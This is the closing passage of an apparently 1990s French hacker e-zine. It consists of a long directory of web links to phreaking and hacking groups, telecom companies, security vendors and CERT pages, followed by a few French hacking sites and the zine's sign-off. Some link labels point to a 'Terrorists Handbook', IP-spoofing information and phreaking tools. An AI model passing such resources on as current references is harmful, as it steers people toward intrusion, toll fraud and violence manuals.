 www.io.org/~djcl/phoneb.html

 www.iquest.net/~oseidler                      (Oliver Seidler's WWW Page)

 www.itd.nrl.navy.mil/ITD/5540                 (NRL Center for High Assurance Computer Systems)

 www.itu.ch/TELECOM                            (Telecom '95)

 www.jagunet.com/~john/

 www.jedefense.com/jed.html                    (Journal of Electronic Defense)

 www.l0pht.com/cdc.html                        (Cult of the Dead Cow)

 www.l0pht.com/radiophone                      (Radiophone Archive)

 www.l0pht.com/~oblivion/IIRG.html             (International Information Retrieval Guild Archive Site)

 www.lat.com                                   (Los Altos Technologies)

 www.lerc.nasa.gov/Unix_Team/Dist_Computing_Security.html (Security)

 www.lib.iup.edu/~seaman/hack/bone.html        (Bone's H/P/C page o' rama)

 www.links.net

 www.louisville.edu/~wrbake01                  (The GodZ of CyberSpacE)

 www.lysator.liu.se:7500/mit-guide/mit-guide.html (Lockpicking Guide)

 www.lysator.liu.se:7500/terror/thb_title.html (Terrorists Handbook)

 www.magi.com/~vektor/linenoiz.html

 www.mastercard.com                       (Secure Electronic Payment Protocol)

 www.mcs.com/~candyman/http/radio.html         (Radar)

 www.mcs.com/~candyman/under.html              (Cell)

 www.mcs.net/~candyman                         (H/P)

 www.mgmua.com/hackers/index.html              (Hackers, the movie)

 www.milkyway.com                              (Milkyway Networks Corporation)

 www.mit.edu:8001/people/warlord/pgp-faq.html  (PGP 2.6.2 FAQ, Buglist, Fixes, and Improvements)

 www.monmouth.com/~jshahom                     (The Insomniac's Home Page)

 www.mot.com                                   (Motorola)

 www.mpr.ca/                                   (MPR Teltech Ltd)

 www.msen.com/~emv/tubed/spoofing.html         (Info on IP spoofing attacks)

 www.mwjournal.com/mwj.html                    (Microwave Journal)

 www.ncsa.uiuc.edu/SDG/Software/Mosaic/Docs/security.html(Security in Mosaic)

 www.ncsl.nist.gov                             (NIST Computer Systems Laboratory)

 www.net23.com                                 (Max Headroom)

 www.netpart.com                               (NetPartners)

 www.netresponse.com:80/zldf/

 www.nic.surfnet.nl/surfnet/security/cert-nl.html(CERT-NL)

 www.nist.gov                                  (NIST)

 www.nokia.com                                 (Nokia)

 www.nortel.com                                (Northern Telecom)

 www.ntt.jp                                    (Nippon Telephone)

 www.nynex.co.uk/nynex                         (NYNEX)

 www.odci.gov                                  (The CIA)

 www.one2one.co.uk                             (Mercury One-2-One)

 www.open.gov.uk/oftel/oftelwww/oftelhm.htm    (OFTEL's Home Page)

 www.openmarket.com/info/cryptography/applied_cryptography.html

 www.pacbell.com                               (Pacific Bell)

 www.panix.com/vtw

 www.paranoia.com/astrostar/fringe.html

 www.paranoia.com/hpa                          (Paranoia's H/P/A Links)

 www.paranoia.com/mthreat                      (ToneLoc)

 www.paranoia.com/~coldfire                    (Cold Fire's Web Page)

 www.paranoia.com/~darkfox                     (Darkfox's Home Page)

 www.paranoia.com/~ice9                        (Ice-9's Home Page)

 www.pegasus.esprit.ec.org/people/arne/pgp.html (PGP)

 www.phantom.com/~darkcyde                     (DarkCyde)

 www.phantom.com/~king                         (Randy King's WWW Page)

 www.phillips.com                              (Phillips Electronics)

 www.phred.org                                 (The Phred Networking Organization)

 www.pic.net/uniloc/starlink                   (Starlink)

 www.planet.net/onkeld                         (BlueBeep Home Page)

 www.primenet.com/~kludge/haqr.html            (Kludge)

 www.quadralay.com/www/Crypt/Crypt.html        (Quadralay Cryptography)

 www.qualcomm.com/cdma/wireless.html           (Qualcomm CDMA)

 www.ramp.com/~lcs/winpgp.html                 (PGP with MS/Win)

 www.raptor.com                                (Raptor)

 www.raptor.com/raptor/raptor.html             (Raptor Network Isolator)

 www.research.att.com                          (AT&T)

 www.rocksoft.com/~ross                        (Rocksoft Pty (Veracity)

 www.rogers.com                                (Rogers Communications)

 www.rsa.com                                   (RSA Data Security)

 www.sasknet.sk.ca/Pages/sktlhome.html         (SaskTel)

 www.satelnet.org/~ccappuc

 www.sccsi.com/lsli/lsli.homepage.html         (PORTUS)

 www.sctc.com                                  (Secure Computing Corporation)

 www.seas.upenn.edu/~rourkem                   (FakeMail FAQ)

 www.seduction.com

 www.sei.cmu.edu/SEI/programs/cert.html        (CERT Coordination Center)

 www.service.com/cm/uswest/usw1.html           (USWest)

 www.shore.net/~eskwired/hp.html

 www.soci.niu.edu/~cudigest

 www.somar.com                                 (Somar Software)

 www.soscorp.com                               (Sources of Supply Corp)

 www.spatz.com/pecos/index.html                (The World of Hacking)

 www.spy.org                                   (Computer Systems Consulting)

 www.spy.org                                   (spy.org)

 www.sri.com                                   (SRI)

 www.stentor.ca                                (Stentor (Canadian telcos)

 www.tecc.co.uk/public/uk-telecom/btns.html    (BT "star services")

 www.telecoms-mag.com/tcs.html                 (Telecommunications Magazine)

 www.telkom.co.za                              (Telkom S.A. Ltd)

 www.telstra.com.au/info/security.html         (Security Reference Index)

 www.teresa.com

 www.tezcat.com/web/security/security_top_level.html

 www.tiac.net/users/triad/philes/jokai.html    (Jokai Reservation for the Preservation of the 1st Amendment)

 www.ticllc.net/~scrtnizr

 www.tis.com                                   (Trusted Information Systems)

 www.trcone.com/t_crookb.html                  (CrookBook)

 www.tregistry.com/ttr                         (Telecomunications Training Courses)

 www.tri.sbc.com                               (Southwestern Bell)

 www.tricon.net/Comm/synapse                   (Synapse Magazine)

 www.tufts.edu/~jpagano/

 www.uccs.edu/~abusby/hpawebsites.html

 www.uccs.edu/~abusby/k0p.html                 (kn0wledge phreak)

 www.uci.agh.edu.pl/pub/security               (Security)

 www.uknet.net/pnc                             (The Personal Number Company)

 www.umcc.umich.edu/~doug/virus-faq.html       (Virus)

 www.underground.org                           (underground.org)

 www.underground.org/bugs/

 www.usfca.edu/crackdown/crack.html            (Hacker Crackdown)

 www.vodafone.co.uk                            (Vodafone)

 www.vptt.ch/natel.html                        (Natel)

 www.wam.umd.edu/~ankh/public/devil_does_unix

 www.warwick.ac.uk/WWW/search/Phones/nng.html  (National Number Group Codes)

 www.well.com/user/abacard

 www.well.com/user/crunch                      (Captain Crunch)

 www.wfu.edu/~wilsonbd

 www.wiltel.com                                (Wiltel)

 www.wiltel.com/glossary/glossary.html         (Telecommunications Glossary)

 www.wired.com                                 (HotWired)

 www2.undernet.org:8080/~cs93jtl/IRC.html      (IRC)

le world wide web en français:

http://www.chez.com/norace/


NoRace : groupe de phreak

http://www.micronet.fr/~darcelf/

Le hacking en france

http://www.chez.com/palm/


Page du hackeur Palm

http://www.frhack.org



Groupe de frhack

http://www.linux-france.com


Linux France

http://www.linux.sos-informatique.com
Un autre site Linux en francais

http://www.linux-kheops.com/


Kheops

Bon vous avez de quoi faire pour un bon moment !!! @+

________________________________________________________________________________

________________________________________________________________________________

Si vous avez des questions ou rectifications. Si vous désirez rédiger pour ce zine, envoyez vos articles à 1984@ifrance.com 

FIN

